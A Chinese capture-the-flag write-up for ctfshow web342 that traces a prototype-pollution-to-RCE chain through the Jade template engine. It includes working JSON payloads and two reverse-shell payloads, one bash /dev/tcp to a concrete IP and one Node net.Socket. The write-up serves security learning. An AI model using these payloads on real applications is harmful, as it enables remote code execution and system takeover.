题目描述处蓝奏云下载源码
web342.zip
然后还有个提示
审计了1个小时发现的,此链目前网上未公开,难度稍大
本题就不是用 ejs
进行模板渲染了,而是使用了 jade
一开始想看其他师傅的文章
https://xz.aliyun.com/t/7025
emm,但是发现说的每个字都认识,连起来就觉得有点莫名其妙了。。于是想着先自己手动分析一下,熟悉一波,方便自己和师傅在同一个频道上,防止师傅说的每句话都感觉莫名其妙…
这里用 VS Code 来 debug 分析
就会自动创建这样一个文件
{
// Use IntelliSense to learn about possible attributes.
// Hover to view descriptions of existing attributes.
// For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
"version": "0.2.0",
"configurations": [
{
"type": "pwa-node",
"request": "launch",
"name": "Launch Program",
"skipFiles": [
"<node_internals>/**"
],
"program": "${workspaceFolder}/bin/www"
}
]
}
然后下个断点,运行一下,访问网页就可以开始愉快的 debug 了
这里直接用 ctfshow web342 的代码进行
依次进入 res.render=>app.render=>tryRender=>view.render=>this.engine
入口是 rederFile
方法,注意 renderFile
函数返回值可执行
进入 handleTemplateCache
进入 compile
函数
205行 有个 parse
解析,可以看到结果返回到 parsed
,又传递给了 fn
,先不管 parse
方法,继续向下看代码
218行 这里就比较有趣了,有个看似可控的代码执行(new Function,这个在 web339 有提到)
进入 parse
看看返回值中是否有可控部分parse
方法内部可以看到先内部 parse
再内部 compile
,内部 parse
结果最终会被拼接到外层 parse
函数返回值部分
即 114行的 js对象
被拼接到 148行 或 149行的 js对象
里,最终拼接到 body键
返回
先跟进 114行
的 compile
方法,发现本方法返回的是 buf
跟进 66行的 this.visit(this.node);
发现可控(因为 node.filename
被 utils.stringify()
了)的 node.line
可以被 push
到 buf
中,条件是 this.debug=true
然后在 212行的 this.visitNode(node);
去遍历 ast 树,遍历完后回到 compile
方法
可以看到 node.line
被记录到 fn 中,然后通过 Function
调用执行这部分代码。
也就是说如果我们可以污染 node.line
就可以运行我们代码。
也就是说 jade
本身是没有漏洞的,因为模板的渲染逻辑是如何,但问题是,如果存在可控的原型链污染,就可以帮助我们污染 node.line
。
于是尝试 POST /login
接口
{"__proto__":{"__proto__":{"line":"global.process.mainModule.require('child_process').execSync('whoami')"}}}
断点发现,, node.line
值还是 0
、1
、2
之类的?
突然醒悟,,还有一个问题,我们在调试过程中发现,node.line
是存在值的,比如上图中的 0
、1
、2
,如果存在值的话,它会直接获取这个值,而不是获取我们污染过的 Object
对象里的值!
其实原型链污染的利用核心就是:访问对象的属性/值为 undefined 才行,不然我们污染 Object
对象就没有意义了。
现在看这篇文章就能看懂了,而且发现总结的非常好。。
https://xz.aliyun.com/t/7025
好的,在同一频道上了。
先梳理上面分析的函数调用栈,我们断点入口在 routes/index.js
res.render('index',{title:'ctfshow'});
,调用栈如下
- routes/index.js :: res.render
- jade/lib/index.js :: exports.__express
- jade/lib/index.js :: exports.renderFile
- jade/lib/index.js :: handleTemplateCache
- jade/lib/index.js :: exports.compile
- jade/lib/index.js :: parse -> compiler.compile();
- jade/lib/compiler.js :: Compiler.compile -> this.visit(this.node)
- jade/lib/compiler.js :: this.visit
- jade/lib/compiler.js :: this.buf.push
- jade/lib/index.js :: parse -> options.self
- jade/lib/index.js :: fn = new Function(‘locals, jade’, fn)
- jade/lib/index.js :: fn(locals, Object.create(runtime))
- jade/lib/index.js :: parse -> compiler.compile();
至 4. a. iii. 这部分调用栈用下图,4. b. c. d. 的在上面 debug 也有提及,因此调用栈这部分问题不大
问题有 3
visit
方法中this.debug=true
,不然this.buf.push
调用不了- 在上面提到的:
node.line
在某处为undefined
才行,不然我们污染的Object
对象就没意义 - 保证能够执行到渲染阶段,因为覆盖某些属性会导致莫名其妙的异常
第 1 个问题容易解决,因为在 Jade 入口 exports.__express
,我们上面 deubg 分析时也看到
exports.__express = function (path, options, fn) {
if (options.compileDebug == undefined && process.env.NODE_ENV === 'production') {
options.compileDebug = false;
}
exports.renderFile(path, options, fn);
}
options.compileDebug
无初始值,可以覆盖开启 Debug 模式(经分析,this.debug
获取的就是这里的 debug 值),当然也有另外一种情况,部署时,没有正确配置 req.app.get('env')
导致 debug 模式开启,那么这个变量也可以不用覆盖,但为了确保通用性,这里还是覆盖一下,防止正确配置,2333。
这里因 utils.copy(user.userinfo,req.body);
与 web341一样,userinfo.__proto__.__proto__
才是 Object
对象的原型,所以要套两层。
{"__proto__":{"__proto__":{"compileDebug":1}}}
先打一下
第 3 个问题提前出现了,要先解决这个问题,保证代码能够执行到渲染阶段
和先知文章里不同,这里报错有点不一样,先跟进 Compiler.visitNode
225行看一下
拼接一下,发现没有这个方法
在遍历AST树时,通常是通过 "visit" + 节点类型
来遍历所有节点的,观察错误调用栈也知,比如 visitBlock
,就是访问 Block
节点。那 Block
可用,我们就污染一下 type
就好了,当它当前上下文找不到就去找 Object
了。
当然选取时,最好是选的节点附带的上下文信息进入后,啥事也不会做的,不然也有走向奇奇怪怪的逻辑,先来看看 Block 节点。
这里加上这部分逻辑,来看看我们故意伪造 Block 节点会发生什么
if (node.type == undefined) {
return this['visit' + 'Block'](node);
}
这里 block.nodes
为 undefined
,然后 undefined.length
明显,这样访问会报错,导致进入其他错误,然后 jade
没有对这块异常进行处理。
也就是说,如果 vist
的节点不是这种 block.子属性.孙子属性
问题应该不大。顶多一个 undefined
然后直接结束啥的,这里试试 visitCode
,
正常走到后面,没有报错,期间只触发了 this.buf.push(code.val)
,问题应该不大。
尝试污染 type
为 Code
{"__proto__":{"__proto__":{"compileDebug":1,"type":"Code"}}}
好耶,像是解决了,因为这个报错和先知文章报错一致。
尝试解决这个报错,因为看错误调这里好像还没到渲染成功的地方。
分析这个错误栈,可以看到前 4 点还是属于 jade
范畴。先跟进 jade
模块最后报错的地方,即 jade/libindex.js
149行的 parse
方法,
发现,程序已经走完刚刚AST遍历部分了,已经差不多要返回了。
感觉只要避免进入149行的 addWith
方法,就可以渲染成功了!
然后进入149行的 addWith
方法是满足147行的 options.self
值为 False,尝试下看看这个 options.self
默认是不是 undefined
,如果是就可以污染了。
nice,就是 undefined
,尝试污染 self
为 true
,1
也可以
{"__proto__":{"__proto__":{"compileDebug":1,"type":"Code","self":1}}}
!!!终于走到渲染这一步了!
看到 undefined
好说,污染就完事了 (
{"__proto__":{"__proto__":{"compileDebug":1,"type":"Code","self":1,"title":"tari"}}}
到这 index 的页面渲染就没啥问题了,到 第 2 个问题,node.line
在某处为 undefined
才行,不然我们污染的 Object
对象就没意义
这里如果一步一步动态调试会比较麻烦,直接注入测试即可
发现都 node
为 Block
的时候 line
是不存在的。
理论上,只要覆盖了 node.line
即可达到代码执行的目的。
然后拼接上面避免报错的参数,得到
{"__proto__":{"__proto__":{"compileDebug":1,"type":"Code","self":1,"title":"tari","line":"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/服务器IP/2233>&1\"')"}}}
反弹 Shell
再 POST一次,发送的数据包不用变
不就少了个 message
,那我污染你呗,,然后 message
后又说少了 error
继续污染,然后 error
是一个对象,就需要弄个 json
格式数据啦。
emmm,到这,其实一开始就犯了个很蠢的错。。。其实一开始就应该污染 line
先的,然后在试 compileDebug
、type
、self
,蠢哭了,,因为,如果不污染 line 先的话,不能保证在 line 正确的情况下试其他的,就会导致,,其他对了,加上 line
就错了。。
其实这里,压根就不用污染 title
,如果是 先污染 line
,然后到 compileDebug
、type
、self
会发现,到 self
这就可以成功反弹 shell 了,人都傻了。。。
最终 EXP
{"__proto__":{"__proto__":{"compileDebug":1,"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/119.28.15.55/2233 0>&1\"')"}}}
不用变,在POST一次即可
原本想用原生Socket的,不知道为啥老是报错,奇怪,,难道闭合不了?
{"__proto__":{"__proto__":{"compileDebug":1,"type":"Code","self":1,"line":"(function(){var net=global.process.mainModule.constructor._load('net'),cp=global.process.mainModule.constructor._load('child_process'),sh=cp.spawn('/bin/sh',[]);var client=new net.Socket();client.connect(2233,'服务器IP',function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();"}}}